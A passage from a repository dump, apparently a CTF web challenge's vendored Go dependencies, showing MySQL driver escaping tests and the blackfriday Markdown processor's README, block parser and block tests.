TestFormatBinaryDateTime(t *testing.T) { rawDate := [11]byte{} binary.LittleEndian.PutUint16(rawDate[:2], 1978) // years rawDate[2] = 12 // months rawDate[3] = 30 // days rawDate[4] = 15 // hours rawDate[5] = 46 // minutes rawDate[6] = 23 // seconds binary.LittleEndian.PutUint32(rawDate[7:], 987654) // microseconds expect := func(expected string, inlen, outlen uint8) { actual, _ := formatBinaryDateTime(rawDate[:inlen], outlen, false) bytes, ok := actual.([]byte) if !ok { t.Errorf("formatBinaryDateTime must return []byte, was %T", actual) } if string(bytes) != expected { t.Errorf( "expected %q, got %q for length in %d, out %d", bytes, actual, inlen, outlen, ) } } expect("0000-00-00", 0, 10) expect("0000-00-00 00:00:00", 0, 19) expect("1978-12-30", 4, 10) expect("1978-12-30 15:46:23", 7, 19) expect("1978-12-30 15:46:23.987654", 11, 26) } func TestEscapeBackslash(t *testing.T) { expect := func(expected, value string) { actual := string(escapeBytesBackslash([]byte{}, []byte(value))) if actual != expected { t.Errorf( "expected %s, got %s", expected, actual, ) } actual = string(escapeStringBackslash([]byte{}, value)) if actual != expected { t.Errorf( "expected %s, got %s", expected, actual, ) } } expect("foo\\0bar", "foo\x00bar") expect("foo\\nbar", "foo\nbar") expect("foo\\rbar", "foo\rbar") expect("foo\\Zbar", "foo\x1abar") expect("foo\\\"bar", "foo\"bar") expect("foo\\\\bar", "foo\\bar") expect("foo\\'bar", "foo'bar") } func TestEscapeQuotes(t *testing.T) { expect := func(expected, value string) { actual := string(escapeBytesQuotes([]byte{}, []byte(value))) if actual != expected { t.Errorf( "expected %s, got %s", expected, actual, ) } actual = string(escapeStringQuotes([]byte{}, value)) if actual != expected { t.Errorf( "expected %s, got %s", expected, actual, ) } } expect("foo\x00bar", "foo\x00bar") // not affected expect("foo\nbar", "foo\nbar") // not affected expect("foo\rbar", "foo\rbar") // not affected expect("foo\x1abar", "foo\x1abar") // not affected expect("foo''bar", "foo'bar") // affected expect("foo\"bar", "foo\"bar") // not affected } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/.gitignore ================================================ *.out *.swp *.8 *.6 _obj _test* markdown tags ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/README.md ================================================ Blackfriday =========== Blackfriday is a [Markdown][1] processor implemented in [Go][2]. It is paranoid about its input (so you can safely feed it user-supplied data), it is fast, it supports common extensions (tables, smart punctuation substitutions, etc.), and it is safe for all utf-8 (unicode) input. HTML output is currently supported, along with Smartypants extensions. An experimental LaTeX output engine is also included. It started as a translation from C of [upskirt][3]. Installation ------------ Blackfriday is compatible with Go 1. If you are using an older release of Go, consider using v1.1 of blackfriday, which was based on the last stable release of Go prior to Go 1. You can find it as a tagged commit on github. With Go 1 and git installed: go get github.com/russross/blackfriday will download, compile, and install the package into your `$GOROOT` directory hierarchy. Alternatively, you can import it into a project: import "github.com/russross/blackfriday" and when you build that project with `go build`, blackfriday will be downloaded and installed automatically. For basic usage, it is as simple as getting your input into a byte slice and calling: output := blackfriday.MarkdownBasic(input) This renders it with no extensions enabled. To get a more useful feature set, use this instead: output := blackfriday.MarkdownCommon(input) If you want to customize the set of options, first get a renderer (currently either the HTML or LaTeX output engines), then use it to call the more general `Markdown` function. For examples, see the implementations of `MarkdownBasic` and `MarkdownCommon` in `markdown.go`. You can also check out `blackfriday-tool` for a more complete example of how to use it. Download and install it using: go get github.com/russross/blackfriday-tool This is a simple command-line tool that allows you to process a markdown file using a standalone program. You can also browse the source directly on github if you are just looking for some example code: * Note that if you have not already done so, installing `blackfriday-tool` will be sufficient to download and install blackfriday in addition to the tool itself. The tool binary will be installed in `$GOROOT/bin`. This is a statically-linked binary that can be copied to wherever you need it without worrying about dependencies and library versions. Features -------- All features of upskirt are supported, including: * **Compatibility**. The Markdown v1.0.3 test suite passes with the `--tidy` option. Without `--tidy`, the differences are mostly in whitespace and entity escaping, where blackfriday is more consistent and cleaner. * **Common extensions**, including table support, fenced code blocks, autolinks, strikethroughs, non-strict emphasis, etc. * **Safety**. Blackfriday is paranoid when parsing, making it safe to feed untrusted user input without fear of bad things happening. The test suite stress tests this and there are no known inputs that make it crash. If you find one, please let me know and send me the input that does it. * **Fast processing**. It is fast enough to render on-demand in most web applications without having to cache the output. * **Thread safety**. You can run multiple parsers in different goroutines without ill effect. There is no dependence on global shared state. * **Minimal dependencies**. Blackfriday only depends on standard library packages in Go. The source code is pretty self-contained, so it is easy to add to any project, including Google App Engine projects. * **Standards compliant**. Output successfully validates using the W3C validation tool for HTML 4.01 and XHTML 1.0 Transitional. Extensions ---------- In addition to the standard markdown syntax, this package implements the following extensions: * **Intra-word emphasis supression**. The `_` character is commonly used inside words when discussing code, so having markdown interpret it as an emphasis command is usually the wrong thing. Blackfriday lets you treat all emphasis markers as normal characters when they occur inside a word. * **Tables**. Tables can be created by drawing them in the input using a simple syntax: ``` Name | Age --------|------ Bob | 27 Alice | 23 ``` * **Fenced code blocks**. In addition to the normal 4-space indentation to mark code blocks, you can explicitly mark them and supply a language (to make syntax highlighting simple). Just mark it like this: ``` go func getTrue() bool { return true } ``` You can use 3 or more backticks to mark the beginning of the block, and the same number to mark the end of the block. * **Autolinking**. Blackfriday can find URLs that have not been explicitly marked as links and turn them into links. * **Strikethrough**. Use two tildes (`~~`) to mark text that should be crossed out. * **Hard line breaks**. With this extension enabled (it is off by default in the `MarkdownBasic` and `MarkdownCommon` convenience functions), newlines in the input translate into line breaks in the output. * **Smart quotes**. Smartypants-style punctuation substitution is supported, turning normal double- and single-quote marks into curly quotes, etc. * **LaTeX-style dash parsing** is an additional option, where `--` is translated into `–`, and `---` is translated into `—`. This differs from most smartypants processors, which turn a single hyphen into an ndash and a double hyphen into an mdash. * **Smart fractions**, where anything that looks like a fraction is translated into suitable HTML (instead of just a few special cases like most smartypant processors). For example, `4/5` becomes `45`, which renders as 45. LaTeX Output ------------ A rudimentary LaTeX rendering backend is also included. To see an example of its usage, see `main.go`: It renders some basic documents, but is only experimental at this point. In particular, it does not do any inline escaping, so input that happens to look like LaTeX code will be passed through without modification. Todo ---- * More unit testing * Markdown pretty-printer output engine * Improve unicode support. It does not understand all unicode rules (about what constitutes a letter, a punctuation symbol, etc.), so it may fail to detect word boundaries correctly in some instances. It is safe on all utf-8 input. License ------- Blackfriday is distributed under the Simplified BSD License: > Copyright © 2011 Russ Ross > All rights reserved. > > Redistribution and use in source and binary forms, with or without > modification, are permitted provided that the following conditions > are met: > > 1. Redistributions of source code must retain the above copyright > notice, this list of conditions and the following disclaimer. > > 2. Redistributions in binary form must reproduce the above > copyright notice, this list of conditions and the following > disclaimer in the documentation and/or other materials provided with > the distribution. > > THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS > "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT > LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS > FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE > COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, > INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, > BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; > LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER > CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT > LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN > ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE > POSSIBILITY OF SUCH DAMAGE. [1]: http://daringfireball.net/projects/markdown/ "Markdown" [2]: http://golang.org/ "Go Language" [3]: http://github.com/tanoku/upskirt "Upskirt" ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/block.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // Functions to parse block-level elements. // package blackfriday import ( "bytes" ) // Parse block-level data. // Note: this function and many that it calls assume that // the input buffer ends with a newline. func (p *parser) block(out *bytes.Buffer, data []byte) { if len(data) == 0 || data[len(data)-1] != '\n' { panic("block input is missing terminating newline") } // this is called recursively: enforce a maximum depth if p.nesting >= p.maxNesting { return } p.nesting++ // parse out one block-level construct at a time for len(data) > 0 { // prefixed header: // // # Header 1 // ## Header 2 // ... // ###### Header 6 if p.isPrefixHeader(data) { data = data[p.prefixHeader(out, data):] continue } // block of preformatted HTML: // //
      // ... //
      if data[0] == '<' { if i := p.html(out, data, true); i > 0 { data = data[i:] continue } } // blank lines. note: returns the # of bytes to skip if i := p.isEmpty(data); i > 0 { data = data[i:] continue } // indented code block: // // func max(a, b int) int { // if a > b { // return a // } // return b // } if p.codePrefix(data) > 0 { data = data[p.code(out, data):] continue } // fenced code block: // // ``` go // func fact(n int) int { // if n <= 1 { // return n // } // return n * fact(n-1) // } // ``` if p.flags&EXTENSION_FENCED_CODE != 0 { if i := p.fencedCode(out, data); i > 0 { data = data[i:] continue } } // horizontal rule: // // ------ // or // ****** // or // ______ if p.isHRule(data) { p.r.HRule(out) var i int for i = 0; data[i] != '\n'; i++ { } data = data[i:] continue } // block quote: // // > A big quote I found somewhere // > on the web if p.quotePrefix(data) > 0 { data = data[p.quote(out, data):] continue } // table: // // Name | Age | Phone // ------|-----|--------- // Bob | 31 | 555-1234 // Alice | 27 | 555-4321 if p.flags&EXTENSION_TABLES != 0 { if i := p.table(out, data); i > 0 { data = data[i:] continue } } // an itemized/unordered list: // // * Item 1 // * Item 2 // // also works with + or - if p.uliPrefix(data) > 0 { data = data[p.list(out, data, 0):] continue } // a numbered/ordered list: // // 1. Item 1 // 2. Item 2 if p.oliPrefix(data) > 0 { data = data[p.list(out, data, LIST_TYPE_ORDERED):] continue } // anything else must look like a normal paragraph // note: this finds underlined headers, too data = data[p.paragraph(out, data):] } p.nesting-- } func (p *parser) isPrefixHeader(data []byte) bool { if data[0] != '#' { return false } if p.flags&EXTENSION_SPACE_HEADERS != 0 { level := 0 for level < 6 && data[level] == '#' { level++ } if data[level] != ' ' { return false } } return true } func (p *parser) prefixHeader(out *bytes.Buffer, data []byte) int { level := 0 for level < 6 && data[level] == '#' { level++ } i, end := 0, 0 for i = level; data[i] == ' '; i++ { } for end = i; data[end] != '\n'; end++ { } skip := end for end > 0 && data[end-1] == '#' { end-- } for end > 0 && data[end-1] == ' ' { end-- } if end > i { work := func() bool { p.inline(out, data[i:end]) return true } p.r.Header(out, work, level) } return skip } func (p *parser) isUnderlinedHeader(data []byte) int { // test of level 1 header if data[0] == '=' { i := 1 for data[i] == '=' { i++ } for data[i] == ' ' { i++ } if data[i] == '\n' { return 1 } else { return 0 } } // test of level 2 header if data[0] == '-' { i := 1 for data[i] == '-' { i++ } for data[i] == ' ' { i++ } if data[i] == '\n' { return 2 } else { return 0 } } return 0 } func (p *parser) html(out *bytes.Buffer, data []byte, doRender bool) int { var i, j int // identify the opening tag if data[0] != '<' { return 0 } curtag, tagfound := p.htmlFindTag(data[1:]) // handle special cases if !tagfound { // check for an HTML comment if size := p.htmlComment(out, data, doRender); size > 0 { return size } // check for an
      tag if size := p.htmlHr(out, data, doRender); size > 0 { return size } // no special case recognized return 0 } // look for an unindented matching closing tag // followed by a blank line found := false /* closetag := []byte("\n") j = len(curtag) + 1 for !found { // scan for a closing tag at the beginning of a line if skip := bytes.Index(data[j:], closetag); skip >= 0 { j += skip + len(closetag) } else { break } // see if it is the only thing on the line if skip := p.isEmpty(data[j:]); skip > 0 { // see if it is followed by a blank line/eof j += skip if j >= len(data) { found = true i = j } else { if skip := p.isEmpty(data[j:]); skip > 0 { j += skip found = true i = j } } } } */ // if not found, try a second pass looking for indented match // but not if tag is "ins" or "del" (following original Markdown.pl) if !found && curtag != "ins" && curtag != "del" { i = 1 for i < len(data) { i++ for i < len(data) && !(data[i-1] == '<' && data[i] == '/') { i++ } if i+2+len(curtag) >= len(data) { break } j = p.htmlFindEnd(curtag, data[i-1:]) if j > 0 { i += j - 1 found = true break } } } if !found { return 0 } // the end of the block has been found if doRender { // trim newlines end := i for end > 0 && data[end-1] == '\n' { end-- } p.r.BlockHtml(out, data[:end]) } return i } // HTML comment, lax form func (p *parser) htmlComment(out *bytes.Buffer, data []byte, doRender bool) int { if data[0] != '<' || data[1] != '!' || data[2] != '-' || data[3] != '-' { return 0 } i := 5 // scan for an end-of-comment marker, across lines if necessary for i < len(data) && !(data[i-2] == '-' && data[i-1] == '-' && data[i] == '>') { i++ } i++ // no end-of-comment marker if i >= len(data) { return 0 } // needs to end with a blank line if j := p.isEmpty(data[i:]); j > 0 { size := i + j if doRender { // trim trailing newlines end := size for end > 0 && data[end-1] == '\n' { end-- } p.r.BlockHtml(out, data[:end]) } return size } return 0 } // HR, which is the only self-closing block tag considered func (p *parser) htmlHr(out *bytes.Buffer, data []byte, doRender bool) int { if data[0] != '<' || (data[1] != 'h' && data[1] != 'H') || (data[2] != 'r' && data[2] != 'R') { return 0 } if data[3] != ' ' && data[3] != '/' && data[3] != '>' { // not an
      tag after all; at least not a valid one return 0 } i := 3 for data[i] != '>' && data[i] != '\n' { i++ } if data[i] == '>' { i++ if j := p.isEmpty(data[i:]); j > 0 { size := i + j if doRender { // trim newlines end := size for end > 0 && data[end-1] == '\n' { end-- } p.r.BlockHtml(out, data[:end]) } return size } } return 0 } func (p *parser) htmlFindTag(data []byte) (string, bool) { i := 0 for isalnum(data[i]) { i++ } key := string(data[:i]) if p.blockTags[key] { return key, true } return "", false } func (p *parser) htmlFindEnd(tag string, data []byte) int { // assume data[0] == '<' && data[1] == '/' already tested // check if tag is a match closetag := []byte("") if !bytes.HasPrefix(data, closetag) { return 0 } i := len(closetag) // check that the rest of the line is blank skip := 0 if skip = p.isEmpty(data[i:]); skip == 0 { return 0 } i += skip skip = 0 if i >= len(data) { return i } if p.flags&EXTENSION_LAX_HTML_BLOCKS != 0 { return i } if skip = p.isEmpty(data[i:]); skip == 0 { // following line must be blank return 0 } return i + skip } func (p *parser) isEmpty(data []byte) int { // it is okay to call isEmpty on an empty buffer if len(data) == 0 { return 0 } var i int for i = 0; i < len(data) && data[i] != '\n'; i++ { if data[i] != ' ' && data[i] != '\t' { return 0 } } return i + 1 } func (p *parser) isHRule(data []byte) bool { i := 0 // skip up to three spaces for i < 3 && data[i] == ' ' { i++ } // look at the hrule char if data[i] != '*' && data[i] != '-' && data[i] != '_' { return false } c := data[i] // the whole line must be the char or whitespace n := 0 for data[i] != '\n' { switch { case data[i] == c: n++ case data[i] != ' ': return false } i++ } return n >= 3 } func (p *parser) isFencedCode(data []byte, syntax **string, oldmarker string) (skip int, marker string) { i, size := 0, 0 skip = 0 // skip up to three spaces for i < 3 && data[i] == ' ' { i++ } // check for the marker characters: ~ or ` if data[i] != '~' && data[i] != '`' { return } c := data[i] // the whole line must be the same char or whitespace for data[i] == c { size++ i++ } // the marker char must occur at least 3 times if size < 3 { return } marker = string(data[i-size : i]) // if this is the end marker, it must match the beginning marker if oldmarker != "" && marker != oldmarker { return } if syntax != nil { syn := 0 for data[i] == ' ' { i++ } syntaxStart := i if data[i] == '{' { i++ syntaxStart++ for data[i] != '}' && data[i] != '\n' { syn++ i++ } if data[i] != '}' { return } // strip all whitespace at the beginning and the end // of the {} block for syn > 0 && isspace(data[syntaxStart]) { syntaxStart++ syn-- } for syn > 0 && isspace(data[syntaxStart+syn-1]) { syn-- } i++ } else { for !isspace(data[i]) { syn++ i++ } } language := string(data[syntaxStart : syntaxStart+syn]) *syntax = &language } for data[i] == ' ' { i++ } if data[i] != '\n' { return } skip = i + 1 return } func (p *parser) fencedCode(out *bytes.Buffer, data []byte) int { var lang *string beg, marker := p.isFencedCode(data, &lang, "") if beg == 0 || beg >= len(data) { return 0 } var work bytes.Buffer for { // safe to assume beg < len(data) // check for the end of the code block fenceEnd, _ := p.isFencedCode(data[beg:], nil, marker) if fenceEnd != 0 { beg += fenceEnd break } // copy the current line end := beg for data[end] != '\n' { end++ } end++ // did we reach the end of the buffer without a closing marker? if end >= len(data) { return 0 } // verbatim copy to the working buffer work.Write(data[beg:end]) beg = end } syntax := "" if lang != nil { syntax = *lang } p.r.BlockCode(out, work.Bytes(), syntax) return beg } func (p *parser) table(out *bytes.Buffer, data []byte) int { var header bytes.Buffer i, columns := p.tableHeader(&header, data) if i == 0 { return 0 } var body bytes.Buffer for i < len(data) { pipes, rowStart := 0, i for ; data[i] != '\n'; i++ { if data[i] == '|' { pipes++ } } if pipes == 0 { i = rowStart break } // include the newline in data sent to tableRow i++ p.tableRow(&body, data[rowStart:i], columns) } p.r.Table(out, header.Bytes(), body.Bytes(), columns) return i } // check if the specified position is preceeded by an odd number of backslashes func isBackslashEscaped(data []byte, i int) bool { backslashes := 0 for i-backslashes-1 >= 0 && data[i-backslashes-1] == '\\' { backslashes++ } return backslashes&1 == 1 } func (p *parser) tableHeader(out *bytes.Buffer, data []byte) (size int, columns []int) { i := 0 colCount := 1 for i = 0; data[i] != '\n'; i++ { if data[i] == '|' && !isBackslashEscaped(data, i) { colCount++ } } // doesn't look like a table header if colCount == 1 { return } // include the newline in the data sent to tableRow header := data[:i+1] // column count ignores pipes at beginning or end of line if data[0] == '|' { colCount-- } if i > 2 && data[i-1] == '|' && !isBackslashEscaped(data, i-1) { colCount-- } columns = make([]int, colCount) // move on to the header underline i++ if i >= len(data) { return } if data[i] == '|' && !isBackslashEscaped(data, i) { i++ } for data[i] == ' ' { i++ } // each column header is of form: / *:?-+:? *|/ with # dashes + # colons >= 3 // and trailing | optional on last column col := 0 for data[i] != '\n' { dashes := 0 if data[i] == ':' { i++ columns[col] |= TABLE_ALIGNMENT_LEFT dashes++ } for data[i] == '-' { i++ dashes++ } if data[i] == ':' { i++ columns[col] |= TABLE_ALIGNMENT_RIGHT dashes++ } for data[i] == ' ' { i++ } // end of column test is messy switch { case dashes < 3: // not a valid column return case data[i] == '|' && !isBackslashEscaped(data, i): // marker found, now skip past trailing whitespace col++ i++ for data[i] == ' ' { i++ } // trailing junk found after last column if col >= colCount && data[i] != '\n' { return } case (data[i] != '|' || isBackslashEscaped(data, i)) && col+1 < colCount: // something else found where marker was required return case data[i] == '\n': // marker is optional for the last column col++ default: // trailing junk found after last column return } } if col != colCount { return } p.tableRow(out, header, columns) size = i + 1 return } func (p *parser) tableRow(out *bytes.Buffer, data []byte, columns []int) { i, col := 0, 0 var rowWork bytes.Buffer if data[i] == '|' && !isBackslashEscaped(data, i) { i++ } for col = 0; col < len(columns) && i < len(data); col++ { for data[i] == ' ' { i++ } cellStart := i for (data[i] != '|' || isBackslashEscaped(data, i)) && data[i] != '\n' { i++ } cellEnd := i // skip the end-of-cell marker, possibly taking us past end of buffer i++ for cellEnd > cellStart && data[cellEnd-1] == ' ' { cellEnd-- } var cellWork bytes.Buffer p.inline(&cellWork, data[cellStart:cellEnd]) p.r.TableCell(&rowWork, cellWork.Bytes(), columns[col]) } // pad it out with empty columns to get the right number for ; col < len(columns); col++ { p.r.TableCell(&rowWork, nil, columns[col]) } // silently ignore rows with too many cells p.r.TableRow(out, rowWork.Bytes()) } // returns blockquote prefix length func (p *parser) quotePrefix(data []byte) int { i := 0 for i < 3 && data[i] == ' ' { i++ } if data[i] == '>' { if data[i+1] == ' ' { return i + 2 } return i + 1 } return 0 } // parse a blockquote fragment func (p *parser) quote(out *bytes.Buffer, data []byte) int { var raw bytes.Buffer beg, end := 0, 0 for beg < len(data) { end = beg for data[end] != '\n' { end++ } end++ if pre := p.quotePrefix(data[beg:]); pre > 0 { // skip the prefix beg += pre } else if p.isEmpty(data[beg:]) > 0 && (end >= len(data) || (p.quotePrefix(data[end:]) == 0 && p.isEmpty(data[end:]) == 0)) { // blockquote ends with at least one blank line // followed by something without a blockquote prefix break } // this line is part of the blockquote raw.Write(data[beg:end]) beg = end } var cooked bytes.Buffer p.block(&cooked, raw.Bytes()) p.r.BlockQuote(out, cooked.Bytes()) return end } // returns prefix length for block code func (p *parser) codePrefix(data []byte) int { if data[0] == ' ' && data[1] == ' ' && data[2] == ' ' && data[3] == ' ' { return 4 } return 0 } func (p *parser) code(out *bytes.Buffer, data []byte) int { var work bytes.Buffer i := 0 for i < len(data) { beg := i for data[i] != '\n' { i++ } i++ blankline := p.isEmpty(data[beg:i]) > 0 if pre := p.codePrefix(data[beg:i]); pre > 0 { beg += pre } else if !blankline { // non-empty, non-prefixed line breaks the pre i = beg break } // verbatim copy to the working buffeu if blankline { work.WriteByte('\n') } else { work.Write(data[beg:i]) } } // trim all the \n off the end of work workbytes := work.Bytes() eol := len(workbytes) for eol > 0 && workbytes[eol-1] == '\n' { eol-- } if eol != len(workbytes) { work.Truncate(eol) } work.WriteByte('\n') p.r.BlockCode(out, work.Bytes(), "") return i } // returns unordered list item prefix func (p *parser) uliPrefix(data []byte) int { i := 0 // start with up to 3 spaces for i < 3 && data[i] == ' ' { i++ } // need a *, +, or - followed by a space if (data[i] != '*' && data[i] != '+' && data[i] != '-') || data[i+1] != ' ' { return 0 } return i + 2 } // returns ordered list item prefix func (p *parser) oliPrefix(data []byte) int { i := 0 // start with up to 3 spaces for i < 3 && data[i] == ' ' { i++ } // count the digits start := i for data[i] >= '0' && data[i] <= '9' { i++ } // we need >= 1 digits followed by a dot and a space if start == i || data[i] != '.' || data[i+1] != ' ' { return 0 } return i + 2 } // parse ordered or unordered list block func (p *parser) list(out *bytes.Buffer, data []byte, flags int) int { i := 0 flags |= LIST_ITEM_BEGINNING_OF_LIST work := func() bool { for i < len(data) { skip := p.listItem(out, data[i:], &flags) i += skip if skip == 0 || flags&LIST_ITEM_END_OF_LIST != 0 { break } flags &= ^LIST_ITEM_BEGINNING_OF_LIST } return true } p.r.List(out, work, flags) return i } // Parse a single list item. // Assumes initial prefix is already removed if this is a sublist. func (p *parser) listItem(out *bytes.Buffer, data []byte, flags *int) int { // keep track of the indentation of the first line itemIndent := 0 for itemIndent < 3 && data[itemIndent] == ' ' { itemIndent++ } i := p.uliPrefix(data) if i == 0 { i = p.oliPrefix(data) } if i == 0 { return 0 } // skip leading whitespace on first line for data[i] == ' ' { i++ } // find the end of the line line := i for data[i-1] != '\n' { i++ } // get working buffer var raw bytes.Buffer // put the first line into the working buffer raw.Write(data[line:i]) line = i // process the following lines containsBlankLine := false sublist := 0 gatherlines: for line < len(data) { i++ // find the end of this line for data[i-1] != '\n' { i++ } // if it is an empty line, guess that it is part of this item // and move on to the next line if p.isEmpty(data[line:i]) > 0 { containsBlankLine = true line = i continue } // calculate the indentation indent := 0 for indent < 4 && line+indent < i && data[line+indent] == ' ' { indent++ } chunk := data[line+indent : i] // evaluate how this line fits in switch { // is this a nested list item? case (p.uliPrefix(chunk) > 0 && !p.isHRule(chunk)) || p.oliPrefix(chunk) > 0: if containsBlankLine { *flags |= LIST_ITEM_CONTAINS_BLOCK } // to be a nested list, it must be indented more // if not, it is the next item in the same list if indent <= itemIndent { break gatherlines } // is this the first item in the the nested list? if sublist == 0 { sublist = raw.Len() } // is this a nested prefix header? case p.isPrefixHeader(chunk): // if the header is not indented, it is not nested in the list // and thus ends the list if containsBlankLine && indent < 4 { *flags |= LIST_ITEM_END_OF_LIST break gatherlines } *flags |= LIST_ITEM_CONTAINS_BLOCK // anything following an empty line is only part // of this item if it is indented 4 spaces // (regardless of the indentation of the beginning of the item) case containsBlankLine && indent < 4: *flags |= LIST_ITEM_END_OF_LIST break gatherlines // a blank line means this should be parsed as a block case containsBlankLine: raw.WriteByte('\n') *flags |= LIST_ITEM_CONTAINS_BLOCK } // if this line was preceeded by one or more blanks, // re-introduce the blank into the buffer if containsBlankLine { containsBlankLine = false raw.WriteByte('\n') } // add the line into the working buffer without prefix raw.Write(data[line+indent : i]) line = i } rawBytes := raw.Bytes() // render the contents of the list item var cooked bytes.Buffer if *flags&LIST_ITEM_CONTAINS_BLOCK != 0 { // intermediate render of block li if sublist > 0 { p.block(&cooked, rawBytes[:sublist]) p.block(&cooked, rawBytes[sublist:]) } else { p.block(&cooked, rawBytes) } } else { // intermediate render of inline li if sublist > 0 { p.inline(&cooked, rawBytes[:sublist]) p.block(&cooked, rawBytes[sublist:]) } else { p.inline(&cooked, rawBytes) } } // render the actual list item cookedBytes := cooked.Bytes() parsedEnd := len(cookedBytes) // strip trailing newlines for parsedEnd > 0 && cookedBytes[parsedEnd-1] == '\n' { parsedEnd-- } p.r.ListItem(out, cookedBytes[:parsedEnd], *flags) return line } // render a single paragraph that has already been parsed out func (p *parser) renderParagraph(out *bytes.Buffer, data []byte) { if len(data) == 0 { return } // trim leading spaces beg := 0 for data[beg] == ' ' { beg++ } // trim trailing newline end := len(data) - 1 // trim trailing spaces for end > beg && data[end-1] == ' ' { end-- } work := func() bool { p.inline(out, data[beg:end]) return true } p.r.Paragraph(out, work) } func (p *parser) paragraph(out *bytes.Buffer, data []byte) int { // prev: index of 1st char of previous line // line: index of 1st char of current line // i: index of cursor/end of current line var prev, line, i int // keep going until we find something to mark the end of the paragraph for i < len(data) { // mark the beginning of the current line prev = line current := data[i:] line = i // did we find a blank line marking the end of the paragraph? if n := p.isEmpty(current); n > 0 { p.renderParagraph(out, data[:i]) return i + n } // an underline under some text marks a header, so our paragraph ended on prev line if i > 0 { if level := p.isUnderlinedHeader(current); level > 0 { // render the paragraph p.renderParagraph(out, data[:prev]) // ignore leading and trailing whitespace eol := i - 1 for prev < eol && data[prev] == ' ' { prev++ } for eol > prev && data[eol-1] == ' ' { eol-- } // render the header // this ugly double closure avoids forcing variables onto the heap work := func(o *bytes.Buffer, pp *parser, d []byte) func() bool { return func() bool { pp.inline(o, d) return true } }(out, p, data[prev:eol]) p.r.Header(out, work, level) // find the end of the underline for data[i] != '\n' { i++ } return i } } // if the next line starts a block of HTML, then the paragraph ends here if p.flags&EXTENSION_LAX_HTML_BLOCKS != 0 { if data[i] == '<' && p.html(out, current, false) > 0 { // rewind to before the HTML block p.renderParagraph(out, data[:i]) return i } } // if there's a prefixed header or a horizontal rule after this, paragraph is over if p.isPrefixHeader(current) || p.isHRule(current) { p.renderParagraph(out, data[:i]) return i } // if there's a list after this, paragraph is over if p.flags&EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK != 0 { if p.uliPrefix(current) != 0 || p.oliPrefix(current) != 0 || p.quotePrefix(current) != 0 || p.codePrefix(current) != 0 { p.renderParagraph(out, data[:i]) return i } } // otherwise, scan to the beginning of the next line for data[i] != '\n' { i++ } i++ } p.renderParagraph(out, data[:i]) return i } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/block_test.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // Unit tests for block parsing // package blackfriday import ( "testing" ) func runMarkdownBlock(input string, extensions int) string { htmlFlags := 0 htmlFlags |= HTML_USE_XHTML renderer := HtmlRenderer(htmlFlags, "", "") return string(Markdown([]byte(input), renderer, extensions)) } func doTestsBlock(t *testing.T, tests []string, extensions int) { // catch and report panics var candidate string defer func() { if err := recover(); err != nil { t.Errorf("\npanic while processing [%#v]\n", candidate) } }() for i := 0; i+1 < len(tests); i += 2 { input := tests[i] candidate = input expected := tests[i+1] actual := runMarkdownBlock(candidate, extensions) if actual != expected { t.Errorf("\nInput [%#v]\nExpected[%#v]\nActual [%#v]", candidate, expected, actual) } // now test every substring to stress test bounds checking if !testing.Short() { for start := 0; start < len(input); start++ { for end := start + 1; end <= len(input); end++ { candidate = input[start:end] _ = runMarkdownBlock(candidate, extensions) } } } } } func TestPrefixHeaderNoExtensions(t *testing.T) { var tests = []string{ "# Header 1\n", "

      Header 1

      \n", "## Header 2\n", "

      Header 2

      \n", "### Header 3\n", "

      Header 3

      \n", "#### Header 4\n", "

      Header 4

      \n", "##### Header 5\n", "
      Header 5
      \n", "###### Header 6\n", "
      Header 6
      \n", "####### Header 7\n", "
      # Header 7
      \n", "#Header 1\n", "

      Header 1

      \n", "##Header 2\n", "

      Header 2

      \n", "###Header 3\n", "

      Header 3

      \n", "####Header 4\n", "

      Header 4

      \n", "#####Header 5\n", "
      Header 5
      \n", "######Header 6\n", "
      Header 6
      \n", "#######Header 7\n", "
      #Header 7
      \n", "Hello\n# Header 1\nGoodbye\n", "

      Hello

      \n\n

      Header 1

      \n\n

      Goodbye

      \n", "* List\n# Header\n* List\n", "
        \n
      • List

        \n\n

        Header

      • \n\n
      • List

      • \n
      \n", "* List\n#Header\n* List\n", "
        \n
      • List

        \n\n

        Header

      • \n\n
      • List

      • \n
      \n", "* List\n * Nested list\n # Nested header\n", "
        \n
      • List

        \n\n
          \n
        • Nested list

          \n\n" + "

          Nested header

        • \n
      • \n
      \n", } doTestsBlock(t, tests, 0) } func TestPrefixHeaderSpaceExtension(t *testing.T) { var tests = []string{ "# Header 1\n", "

      Header 1

      \n", "## Header 2\n", "

      Header 2

      \n", "### Header 3\n", "

      Header 3

      \n", "#### Header 4\n", "

      Header 4

      \n", "##### Header 5\n", "
      Header 5
      \n", "###### Header 6\n", "
      Header 6
      \n", "####### Header 7\n", "

      ####### Header 7

      \n", "#Header 1\n", "

      #Header 1

      \n", "##Header 2\n", "

      ##Header 2

      \n", "###Header 3\n", "

      ###Header 3

      \n", "####Header 4\n", "

      ####Header 4

      \n", "#####Header 5\n", "

      #####Header 5

      \n", "######Header 6\n", "

      ######Header 6

      \n", "#######Header 7\n", "

      #######Header 7

      \n", "Hello\n# Header 1\nGoodbye\n", "

